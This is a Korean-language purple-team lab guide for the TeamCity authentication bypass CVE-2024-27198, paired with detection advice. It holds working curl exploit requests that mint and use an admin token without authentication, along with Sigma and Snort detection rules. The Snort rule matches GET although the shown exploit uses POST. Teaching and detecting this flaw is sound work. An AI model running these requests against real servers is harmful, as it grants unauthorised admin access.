
TeamCity는 인증으로 보호되지 않는 관리자 전용 토큰 관리 페이지를 제공합니다. 이로 인해 인증되지 않은 사용자가 기존 사용자의 ID를 찾을 수 있으면 관리자 사용자용 액세스 토큰을 생성할 수 있습니다.
취약점은 REST API 라우팅 메커니즘에 있습니다. 인증되지 않은 엔드포인트에 특정 문자(예: ?jsp=/app/rest/...;.jsp)를 추가함으로써 공격자는 TeamCity 웹 서버가 보안 필터를 우회하면서 요청을 인증된 엔드포인트로 라우팅하도록 속일 수 있습니다. 이를 위해 사전 지식이나 접근 권한이 전혀 필요하지 않으므로 순수 CVSS 9.8에 해당합니다.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
취약한 TeamCity 인스턴스에 http://localhost:8111로 접속하세요. 패치된 TeamCity 인스턴스에 http://localhost:8112로 접속하세요.
사용자 이름:
admin
비밀번호:
admin
인증 없이 리소스에 대한 GET 요청:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
둘 다 401 상태 코드와 함께 오류를 반환해야 합니다.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
다음과 같은 토큰이 반환되어야 합니다(토큰은 매번 다릅니다):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
패치된 인스턴스에는 취약점이 없으므로 401 상태 코드와 함께 오류가 반환되어야 합니다.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
사용자 목록을 반환해야 합니다.
실습 데모 중에 엄청난 블루 팀 발견 사항을 보여줄 수 있습니다. 기본적으로 이 취약점은 매우 은밀합니다!
;.jsp HTTP 요청은 기록되지 않습니다.그렇다면 어떻게 잡아낼까요? 공격자가 자신의 흔적을 지울 때입니다! 공격자가 숨기기 위해 자신의 악성 토큰을 삭제하면 TeamCity는 그 사실을 기록합니다.
감사 로그에서 흔적을 지우는 공격자를 찾으세요:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(기록 항목에서 "REDTEAM" 토큰이 삭제되었음을 확인할 수 있습니다).
docker compose -f docker-compose.yml down
이 취약점은 CWE-288: 대체 경로 또는 채널을 사용한 인증 우회의 사례입니다.
이 결함은 Tomcat 웹 서버와 TeamCity 애플리케이션 라우터 사이의 경로 혼동 문제에서 비롯됩니다. ;.jsp를 추가하고 jsp= 매개변수에 대상 REST API 엔드포인트를 전달하면 초기 보안 필터는 이 요청을 공개 .jsp 파일에 대한 인증되지 않은 요청(허용됨)으로 해석합니다. 그러나 내부 라우터는 ;.jsp를 제거하고 인증 필터를 적용하지 않은 채 요청을 제한된 /app/rest/ 엔드포인트로 전달합니다.
정당한 사용 사례(; 문자가 허용되는 이유):
Tomcat은 Matrix 매개변수를 위해 세미콜론 문자(;)를 사용합니다. 역사적으로 이 메커니즘은 쿠키가 비활성화되었을 때 사용자 세션 상태를 유지하기 위해 JSESSIONID를 추가하는 것처럼 경로 내에서 직접 매개변수를 전달하는 데 사용됩니다. 이러한 정상적이고 합법적인 웹 서버 동작이 TeamCity 애플리케이션 라우터의 부적절한 검증과 결합되어 취약점이 발생합니다.
진행 중이거나 과거의 침해를 탐지하려면 블루 팀은 다음을 찾아야 합니다:
/app/rest/ 엔드포인트를 대상으로 하지만 URI에 비정상적인 ;.jsp 문자열을 포함하는 HTTP 요청.teamcity-server.log): 설명할 수 없는 액세스 토큰 생성 또는 새 관리자 계정 생성.초기 익스플로잇은 기본적으로 은밀하므로 블루 팀은 공격자의 사후 악용 행위(예: 흔적 지우기)를 탐지하는 데 의존해야 합니다. 의심스러운 토큰 삭제를 탐지하기 위한 SIEM용 Sigma 규칙은 다음과 같습니다:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
이 탐지가 실제로 작동함을 입증하려면 siem_simulator.py 스크립트를 실행하세요.
docker compose up -d).python3 siem_simulator.py
네트워크에서 이 악용 시도를 탐지하기 위해 SOC는 비정상적인 ;.jsp 패턴과 REST API 경로를 찾는 다음 IDS 규칙을 구현할 수 있습니다:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
완화 조치가 효과가 있음을 입증하려면 포트 8112에서 실행 중인 패치된 TeamCity 컨테이너에 대해 동일한 익스플로잇 페이로드를 실행할 수 있습니다:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
패치가 경로 일치를 엄격히 강제하고 matrix 매개변수를 적절히 검증하므로 우회는 실패합니다. 생성된 토큰 대신 401 Unauthorized 또는 404 Not Found 응답이 표시되어야 합니다.